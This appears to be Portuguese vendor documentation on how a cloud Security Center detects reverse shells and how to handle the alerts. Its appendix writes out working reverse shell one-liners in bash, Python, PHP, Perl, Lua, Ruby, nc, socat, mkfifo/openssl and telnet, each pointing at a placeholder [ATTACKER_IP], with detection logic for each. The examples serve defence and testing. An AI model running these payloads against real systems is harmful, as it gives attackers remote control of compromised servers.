O Security Center detecta ataques de reverse shell por meio de análise multidimensional — monitoramento de descritores de arquivos, análise de sequências de comandos, inspeção de cadeias de processos, análise de arquivos maliciosos e análise de tráfego de rede. O serviço identifica técnicas de intrusão conhecidas e novas para proteger seus ativos na nuvem.
O que é um reverse shell
O reverse shell é uma técnica comum de intrusão. Após obterem acesso inicial ao servidor por meio de vulnerabilidade ou senha fraca, os invasores implantam um reverse shell para estabelecer um túnel de comunicação oculto do servidor comprometido (cliente) de volta para um servidor controlado pelo invasor (servidor).
Essa prática representa duas ameaças principais:
Contorno de restrições de firewall: A conexão se origina no servidor e contorna firewalls que restringem apenas o tráfego de entrada. Assim, os invasores executam comandos remotamente.
Estabelecimento de controle persistente: Com um shell interativo, os invasores roubam dados, instalam ransomware, movem-se lateralmente ou usam o servidor para atacar outros sistemas.
Como funciona
Princípios fundamentais
O Security Center vai além da detecção baseada em assinaturas com um sistema multicamadas construído sobre estes princípios fundamentais:
Além das assinaturas tradicionais: Foca no comportamento fundamental do ataque, em vez de assinaturas estáticas instáveis, como expressões regulares.
Coleta de dados multidimensional: O agente do host coleta dados em tempo real, incluindo atividade de processos, acesso a arquivos, conexões de rede e chamadas de kernel.
Análise inteligente baseada em nuvem: Uma plataforma de big data na nuvem executa análises de correlação e modelagem comportamental para permitir validação cruzada.
Esse sistema de defesa em profundidade combina análises na nuvem e no endpoint para detectar ataques conhecidos e desconhecidos com alta precisão.
Principais tecnologias de detecção
O sistema de detecção utiliza múltiplas tecnologias que reconstroem comportamentos de ataque a partir de diferentes dimensões para validação cruzada.
-
Análise de descritor de arquivo (FD)
Princípio e método de detecção: Monitora os descritores de arquivo dos processos em tempo real. Se a E/S padrão de um processo de shell for redirecionada para um socket de rede, o sistema aciona um alerta imediatamente.
Alvo principal de detecção: Reverse shells iniciados diretamente com comandos como
bash -i >& /dev/tcp/...que utilizam redirecionamento de E/S.
-
Análise de sequência anormal de comandos
Princípio e método de detecção: Estabelece uma linha de base de sequências normais de comandos para o servidor usando uma plataforma de big data. Quando o sistema detecta uma sequência anormal correspondente a padrões de ataque conhecidos (como reconhecimento ou escalonamento de privilégios), ele a sinaliza como de alto risco.
Alvo principal de detecção: Reverse shells implementados por meio de linguagens de script, como Python ou Perl, que não apresentam características óbvias de processos de shell, bem como seus comportamentos subsequentes de movimento lateral.
-
Análise de cadeia anormal de inicialização de processos
Princípio e método de detecção: Analisa as relações pai-filho dos processos, parâmetros de inicialização, contexto do usuário e comportamento histórico para identificar shells não interativos iniciados por processos pai anormais, como serviços web.
Alvo principal de detecção: Reverse shells acionados por vulnerabilidades web ocultos no tráfego normal de serviço.
-
Análise profunda de arquivos maliciosos
-
Princípio e método de detecção:
Sandbox de scripts: Executa rastreamento dinâmico e descompilação estática em scripts persistidos, como Bash, Python e JAR, para identificar lógica maliciosa em código ofuscado.
Sandbox binária: Analisa funções importadas, estrutura de código e comportamento dinâmico, como conexões de rede, de programas compilados, como C/C++, Go e Meterpreter.
Alvo principal de detecção: Trojans de script altamente ofuscados ou criptografados; programas de reverse shell compilados escritos em C/C++, Go ou gerados pelo Meterpreter.
-
-
Detecção de características adversárias de tráfego de rede
Princípio e método de detecção: Analisa o tráfego de rede em busca de características de comunicação de shell interativo e detecta técnicas comuns de evasão, como substituição de shells do sistema ou codificação de comandos.
Alvo principal de detecção: Funciona como método complementar para aumentar a cobertura de padrões de ataque conhecidos e técnicas de evasão.
Plano de resposta
A proteção contra reverse shell envolve três etapas: ativar a detecção, analisar alertas e responder a emergências.
Ative a detecção de reverse shell
Se você ativou o Security Center Enterprise ou superior e o agente está instalado e online no servidor de destino, a detecção de reverse shell estará habilitada por padrão.
Analisar e interpretar alertas
Quando o Security Center detectar atividade suspeita de reverse shell, acesse ou e abra os detalhes do alerta de reverse shell. Concentre-se em:
Nível de Ameaça: Geralmente Critical, o que indica que o alerta requer atenção e tratamento imediatos.
Informações do Processo: Exibe o caminho do processo e os parâmetros de linha de comando que acionaram o alerta. Por exemplo, um processo
/bin/bash -iiniciado porwww-dataé um indicador típico de alto risco.Informações do Processo Pai: Exibe a origem do processo suspeito para ajudar a rastrear o caminho do ataque. Por exemplo, se o processo pai for um servidor web (Apache ou Nginx), o ataque provavelmente se originou de uma vulnerabilidade web.
Informações de Conexão de Saída: Se presente, exibe o endereço IP remoto e a porta aos quais o processo suspeito se conectou. Esse endereço IP identifica o servidor controlado pelo invasor.
Tratar alertas
Na página de detalhes do alerta, execute as seguintes ações com base na sua avaliação de risco. Avaliar e tratar alertas de segurança.
Virus Detection and Removal: Interrompe o processo do vírus e move o arquivo infectado para a quarentena. Arquivos em quarentena não podem ser executados, acessados ou propagados.
Quarantine: Move apenas o arquivo suspeito para a quarentena sem interromper os processos em execução.
End Process: Interrompe imediatamente o processo malicioso associado ao alerta para cortar rapidamente o ataque.
-
Add to Whitelist: Se o alerta for um falso positivo acionado por scripts normais de O&M ou de negócios, adicione o item à lista de permissões.
NotaDefina regras de lista de permissões com base em caminhos de arquivo ou hashes MD5 para evitar que eventos semelhantes acionem alertas.
Reforço de segurança
-
Bloquear conexões de rede
Localize o endereço IP do invasor nos detalhes do alerta.
Configure regras de grupo de segurança para negar todo o acesso de entrada e saída desse endereço IP e cortar completamente a conexão do invasor.
-
Remover backdoors persistentes
Os invasores geralmente configuram mecanismos de persistência. Faça logon no servidor para investigar:
Verifique tarefas agendadas: Execute
crontab -l -u <user>(onde<user>é o usuário que executa o processo suspeito, comorootouwww-data) para verificar entradas suspeitas. Exclua quaisquer entradas maliciosas comcrontab -e.Exclua arquivos maliciosos: Use o caminho do arquivo no alerta para localizar e excluir o script ou binário malicioso.
-
Execute varredura completa e reforce o servidor
No console do Security Center, use para executar uma varredura completa e detecção de backdoor no servidor.
Corrija vulnerabilidades de segurança no servidor para eliminar o ponto de entrada do ataque.
Custos e riscos
Estrutura de custos: A detecção de reverse shell está incluída nas edições do Security Center sem custo adicional. Para análise detalhada de logs de serviço, adquira os recursos adicionais Log Management ou Log Analysis.
-
Riscos principais:
Durante a resposta a emergências, ações como encerrar um processo ou modificar configurações podem afetar os negócios normais. Crie um snapshot do servidor antes de fazer alterações.
Nenhuma solução de detecção é perfeita. Ataques 0-day altamente personalizados que usam técnicas desconhecidas podem contornar a detecção. A defesa em profundidade continua sendo crítica: aplique patches de vulnerabilidades prontamente, adote o princípio do menor privilégio e imponha políticas de rede rigorosas.
Apêndice: Classificação e exemplos de reverse shells
Os exemplos a seguir de ataques comuns de reverse shell ilustram o escopo de detecção do Security Center e ajudam a equipe de segurança a verificar a eficácia da proteção.
Estes exemplos servem apenas para ilustrar o escopo de detecção do Security Center para esses tipos de ataque, ajudando a equipe de segurança a entender alertas e verificar a proteção.
Não utilize nem execute este código em um ambiente não autorizado. Você é o único responsável por quaisquer violações legais, riscos e responsabilidades resultantes.
Tipo 1: Redirecionamento direto de E/S
-
Princípio fundamental: Este tipo de reverse shell comunica-se pela rede redirecionando a entrada padrão, saída padrão e erro padrão do
bash -ipara um socket/dev/tcp. Abordagem de detecção: Análise de descritor de arquivo (FD). Este método monitora a tabela de FD de um processo para detectar se a E/S padrão do processo de shell foi redirecionada para um socket de rede.
-
Exemplos de cenários de detecção:
-
Exemplo 1:
# Example 1 (bash I/O redirection): bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1-
Descrição do comportamento:
Utiliza o recurso
/dev/tcppara estabelecer uma conexão TCP com um host remoto.Redireciona a entrada padrão, saída padrão e erro padrão do bash para essa conexão de rede, obtendo um shell interativo remoto.
Lógica de detecção: Por meio da análise de FD, o Security Center descobre que os descritores de arquivo
0/1/2do processo/bin/bashapontam para um socket de rede, o que aciona um alerta de reverse shell.
-
-
Exemplo 2:
# Example 2 (Python redirection): python -c ' import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("[ATTACKER_IP]", [PORT])) os.dup2(s.fileno(), 0) # Redirect stdin to socket os.dup2(s.fileno(), 1) # Redirect stdout to socket os.dup2(s.fileno(), 2) # Redirect stderr to socket subprocess.call(["/bin/sh", "-i"]) '-
Descrição do comportamento:
Conecta-se ativamente a um host remoto usando Python e redireciona a entrada padrão, saída padrão e erro padrão do processo atual para essa conexão.
Em seguida, inicia
/bin/sh -icomo um processo filho para estabelecer um shell interativo.
-
Lógica de detecção:
A análise de FD captura a relação de redirecionamento entre
/bin/she o socket.A análise de cadeia anormal de processos identifica o processo de shell interativo iniciado por
pythoncomo um comportamento de alto risco.
-
-
Exemplo 3:
# PHP reverse shell php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'-
Descrição do comportamento:
Conecta-se ativamente a um host remoto usando a função
fsockopendo PHP. Essa conexão obtém um descritor de arquivo (geralmente 3).Em seguida, executa o processo
/bin/sh -ie redireciona explicitamente sua entrada padrão, saída padrão e erro padrão para o descritor de arquivo 3. Isso vincula o shell interativo à conexão de rede estabelecida.
-
Lógica de detecção:
A análise de FD captura a relação de redirecionamento entre
/bin/she o socket (FD 3). Isso indica que a entrada padrão, saída padrão e erro padrão apontam para uma conexão de rede, e não para um terminal ou arquivo comum.A análise de cadeia anormal de processos constata que o processo
phpinicia um/bin/shinterativo usandoexec, e a E/S do shell está vinculada a um socket de rede externo. Essa cadeia de processos "interpretador de script → conexão remota → shell interativo" é característica de um comportamento de controle remoto de alto risco.
-
-
Exemplo 4:
# Perl redirection example perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'-
Descrição do comportamento:
Usa o módulo
Socketdo Perl para criar um socket TCP e conectar-se ativamente a[ATTACKER_IP]:[PORT].Após uma conexão bem-sucedida, redireciona
STDIN,STDOUTeSTDERRdo processo atual para o identificador de socketSe, em seguida, inicia um shell interativo usandoexec("/bin/sh -i").
-
Lógica de detecção:
A análise de FD constata que a entrada padrão, saída padrão e erro padrão de
/bin/shapontam para o mesmo socket de rede (S), em vez de um terminal ou arquivo comum. Isso demonstra uma clara relação de redirecionamento "shell-para-socket".A análise de cadeia anormal de processos encontra uma cadeia de comportamento onde um processo
perlcria e se conecta a um socket remoto e, em seguida, executa/bin/sh -i. Trata-se de um reverse shell orientado por script, que é um padrão de controle remoto de alto risco.
-
-
Exemplo 5:
# Lua redirection example lua -e "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"-
Descrição do comportamento:
Conecta-se ativamente a um host remoto usando a biblioteca
socketdo Lua. Essa conexão obtém um descritor de arquivo (geralmente 3).Executa o comando externo
/bin/sh -iusandoos.executee redireciona explicitamente sua entrada padrão, saída padrão e erro padrão para esse descritor de arquivo. Isso estabelece um reverse shell interativo.
-
Lógica de detecção:
A análise de FD captura a relação de redirecionamento de entrada/saída entre
/bin/she o socket de rede (FD 3). Isso mostra que toda a E/S do shell está anexada a uma conexão TCP.A análise de cadeia anormal de processos identifica o processo de shell interativo iniciado pelo interpretador
luacomo um comportamento de alto risco.
-
-
Princípio fundamental: Este tipo usa um pipe ou pseudo-terminal (PTY) como intermediário. A E/S do shell é primeiro redirecionada para o intermediário e, em seguida, outro processo conecta o intermediário a um socket de rede. Em algumas variações, os dados podem passar por várias camadas de intermediários, formando, por fim, um canal completo de controle remoto.
Abordagem de detecção: Rastreamento de link de FD e análise de relacionamento de processos. Este método rastreia o link completo de FD pelo qual o fluxo de dados passa para identificar cadeias anormais de processos que se conectam a sockets de rede por meio de pipes ou PTYs.
-
Exemplos de cenários de detecção:
-
Exemplo 1:
# Intermediation by using a named pipe and encrypted channel mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/f-
Descrição do comportamento:
Usa
mkfifopara criar um pipe nomeado/tmp/revpipe, que atua como intermediário para a entrada e saída do shell.A entrada para
/bin/sh -ivem desse pipe, e sua saída é enviada ao host remoto viaopenssl s_client.Isso forma um link intermediário multicamadas: "Shell ↔ Pipe ↔ Conexão de rede criptografada".
-
Lógica de detecção:
O Security Center usa rastreamento de link de FD e análise de relacionamento de processos para identificar que
/bin/sheopensslestão conectados por meio de um pipe que, por fim, aponta para um socket remoto, descobrindo assim o comportamento de reverse shell.
-
-
Exemplo 2:
# Mixed nc / socat example # Use netcat to connect to a remote host nc [ATTACKER_IP] 5050 # Use netcat to execute /bin/bash nc -e /bin/bash [ATTACKER_IP] 6060 # Use netcat and bash to create an interactive reverse shell nc -c bash [ATTACKER_IP] 6060 # Use socat to create a pseudo-terminal and connect to a remote host socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060-
Descrição do comportamento:
Ferramentas como
ncesocatpodem associar diretamente um shell local a uma conexão TCP remota para formar um reverse shell.Ao usar o parâmetro
ptypara criar um pseudo-terminal, o comportamento torna-se mais semelhante a uma sessão normal de terminal, dificultando a detecção.
-
Lógica de detecção:
O rastreamento de link de FD identifica o link de pipe ou pseudo-terminal entre o shell e o socket de rede.
Para cenários que usam
pty, é necessária uma análise abrangente da relação pai-filho dos processos e dos padrões de acesso à rede.
-
-
Exemplo 3:
# mknod named pipe mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe-
Descrição do comportamento:
Usa
mknod backpipe ppara criar um pipe nomeado backpipe como intermediário para a entrada/saída do shell.O processo
ncconecta-se ao host remoto, e sua entrada é redirecionada a partir desse pipe.nc [ATTACKER_IP] 6060 0<backpipeusa backpipe como entrada padrão para nc, recebe comandos da extremidade remota e os grava no pipe.A saída padrão e o erro padrão de
/bin/bashsão ambos redirecionados para backpipe e depois enviados à extremidade remota pelo nc.
-
Lógica de detecção:
O rastreamento de link de FD pode descobrir que
/bin/bashencestão associados por meio de um pipe nomeado e, por fim, conectam-se a um socket remoto.Um arquivo de pipe nomeado (como backpipe) aberto simultaneamente por um shell e uma ferramenta de rede constitui um link de alto risco.
O sistema toma uma decisão combinando a relação pai-filho dos processos (como um processo nc ou bash iniciado por um serviço web ou tarefa agendada) com comportamento anormal de conexão de saída.
-
-
Exemplo 4:
# Establish connection by using a Bash built-in file bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'-
Descrição do comportamento:
Usa o pseudo-arquivo integrado
/dev/tcpdo Bash para estabelecer diretamente uma conexão TCP com a porta 6060 em um host remoto e vinculá-la ao descritor de arquivo 5.cat <&5lê comandos do socket remoto, que são passados por um pipe para o loopwhile read line; do $line ...para execução.A saída padrão e o erro padrão de cada comando são redirecionados de volta para o FD 5, a conexão TCP original, e retornados à extremidade remota.
O comportamento geral é uma implementação pura em Bash de "canal TCP integrado + loop de execução de comandos", um comportamento de controle remoto ou reverso sem ferramentas externas óbvias.
-
Lógica de detecção:
A análise de FD constata que o processo Bash mantém diretamente um FD de socket que aponta para um endereço IP ou porta remota (estabelecido via
/dev/tcp).Análise de sequência anormal de comandos: Um único processo Bash mantém uma conexão de saída de longa duração e executa muitos comandos do sistema.
-
-
Exemplo 5:
telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050-
Descrição do comportamento:
Isso cria um canal de retransmissão de comandos que conecta dois processos
telnete um processobashcom dois pipes.O primeiro processo
telnetrecebe comandos de um host remoto e os encaminha para obashpara execução.O resultado da execução do
bashé então enviado para outro endereço remoto através do segundo processotelnet.A entrada e a saída são tratadas por meio de conexões de rede diferentes. Este método pode ser usado para ocultar o verdadeiro endpoint de controle ou realizar encaminhamento multi-hop, dificultando o rastreamento e a detecção.
-
Lógica de detecção:
A análise de cadeia anormal de processos revela a relação de chamada altamente incomum:
telnet->bash->telnet.Para ferramentas interativas tradicionais como
telnet, a detecção combina a cadeia de processos (um processo telnet contornando e anexando-se ao bash) com padrões anormais no endereço IP ou porta de destino.Uma relação de pipe duradoura entre um processo bash e um processo de rede, sem um TTY de terminal local correspondente, é marcada como uma sessão suspeita de shell remoto.
-
-
Exemplo 6: Intermediação usando um pseudo-terminal. Este tipo é mais difícil de detectar e exige análise contextual abrangente.
# Intermediation by using a Python pseudo-terminal python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'-
Descrição do comportamento:
Após concluir o redirecionamento de FD, em vez de executar diretamente
/bin/sh -i, ele inicia umbashem um pseudo-terminal usandopty.spawn.O pseudo-terminal faz com que o reverse shell se comporte mais como uma sessão de login real (como SSH ou uma sessão screen), aumentando assim a discrição do ataque.
-
Lógica de detecção:
A análise de FD ainda consegue identificar a associação entre o bash e o socket de rede.
Ao mesmo tempo, deve ser combinada com o contexto do processo (o processo pai é Python) e padrões de comunicação de rede para evitar confusão com terminais normais de O&M.
-
Princípio fundamental: Em vez de usar recursos de redirecionamento de shell diretamente, a lógica é implementada dentro de uma linguagem de script, como Python ou Ruby. O código recebe comandos de rede, chama funções como
subprocessouexecpara executá-los e, em seguida, envia os resultados de volta.Abordagem de detecção: Análise de sequência comportamental e modelos anormais de inicialização. Como a lógica do ataque está encapsulada no código, a detecção requer uma análise de nível superior. As ameaças são detectadas analisando sequências de comandos anormais, como comportamento de reconhecimento após obter um shell, ou identificando shells iniciados por processos pai anormais, como serviços web.
-
Exemplos de cenários de detecção:
-
Exemplo 1:
# Python embedded command execution loop python -c ' import socket, subprocess s = socket.socket() s.connect(('[ATTACKER_IP]', [PORT])) while True: cmd = s.recv(1024) # Receive command from remote host proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE ) s.send(proc.stdout.read() + proc.stderr.read()) # Send back command execution result '-
Descrição do comportamento:
Isso não inicia explicitamente um processo de shell. Em vez disso, dentro do processo Python, ele:
Lê continuamente comandos de uma conexão de rede.
Executa comandos do sistema usando
subprocess.Popen.Envia a saída padrão e o erro padrão de volta ao host remoto pela rede.
Externamente, comporta-se como uma "conexão persistente + mecanismo de execução de comandos", o que está mais próximo do padrão de comportamento de um trojan ou programa de controle remoto.
-
Lógica de detecção:
Este tipo de ataque frequentemente carece de recursos explícitos de redirecionamento de shell e depende mais de:
Análise de sequência anormal de comandos: Como executar muitos comandos de reconhecimento ou escalonamento de privilégios em um curto período.
Análise de cadeia anormal de inicialização de processos: Se o processo pai do processo Python for um componente inesperado, como um servidor web, ele será sinalizado como de alto risco.
-
-
Exemplo 2:
# Lua embedded command execution loop lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'-
Descrição do comportamento:
O processo Lua usa a biblioteca
socketpara conectar-se ativamente a um host remoto e estabelecer uma conexão persistente.Em um loop, o processo recebe continuamente comandos da conexão de rede e chama
io.popenpara criar um processo filho para executar cada comando.O processo envia o resultado completo da execução do comando de volta ao host remoto. Esse padrão de comportamento é altamente semelhante ao Exemplo 1 e cria um backdoor de execução remota de comandos baseado em Lua.
-
Lógica de detecção:
Análise de sequência anormal de comandos: Monitora comandos consecutivos executados em um curto período para determinar se a sequência corresponde a padrões de ataque, como reconhecimento ou escalonamento de privilégios.
Análise de cadeia anormal de inicialização de processos: Sinaliza um processo Lua como de alto risco se ele for iniciado por um processo pai inesperado, como um servidor web (OpenResty ou Nginx).
-
-
Exemplo 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'-
Descrição do comportamento: Este script Ruby foi projetado para discrição.
Primeiro, o script usa
exit if forkpara criar um processo filho e encerrar o processo pai. Isso permite que o processo de backdoor seja executado em segundo plano, desvinculado do terminal atual.O processo filho então se conecta ao host remoto, recebe comandos em um loop, executa-os usando
IO.popene envia os resultados de volta. Essa "execução em segundo plano" é uma técnica típica de persistência e discrição.
-
Lógica de detecção:
Análise de comportamento anormal de processos: Foca no comportamento em que o processo pai sai imediatamente após um
fork. Isso é característico de um programa trojan criando um processo daemon em segundo plano.Análise de cadeia anormal de inicialização de processos: Analisa a relação entre o processo Ruby em segundo plano e seu processo pai.
Análise de sequência anormal de comandos: Realiza análise de associação nos comandos subsequentes que ele executa.
-
-
Por que os métodos tradicionais de detecção frequentemente falham?
Os métodos tradicionais usam expressões regulares para corresponder a características em logs de comandos e tráfego. Eles têm três limitações principais:
Coleta incompleta de logs: Quando pipes ou redirecionamentos são usados, a coleta convencional de logs pode não conseguir capturar o comando de ataque completo.
Regras fáceis de contornar: Invasores usam codificação, ofuscação ou outras técnicas para contornar regras baseadas em strings fixas ou regex.
Tráfego criptografado: Tráfego de ataque criptografado torna ineficazes os métodos de detecção baseados em rede.
-
A detecção de reverse shell do Security Center pode atingir 100% de precisão?
Nenhuma solução de segurança garante 100% de precisão. As tecnologias de ataque e defesa evoluem constantemente. Reverse shells avançados implementados em linguagens de programação (Tipo 3) são particularmente difíceis de detectar porque se assemelham a scripts de negócios normais. O Security Center melhora a detecção por meio de análise multidimensional e modelos comportamentais, mas a segurança continua sendo um processo adversário contínuo.
-
Por que reverse shells que usam pseudo-terminais (PTYs) são mais difíceis de detectar?
Da perspectiva do processo de shell, sua E/S é redirecionada para um dispositivo de pseudo-terminal — comportamento semelhante a logons SSH normais, sessões
screenou terminais de contêiner. Isso dificulta a distinção entre comportamento malicioso e operações normais. O Security Center realiza uma análise abrangente combinando logs de processos e de rede para equilibrar falsos negativos e falsos positivos.
Perguntas frequentes
-
Tipo 3: Execução incorporada em linguagens de script
-
Tipo 2: Intermediação por pipes ou pseudo-terminais
-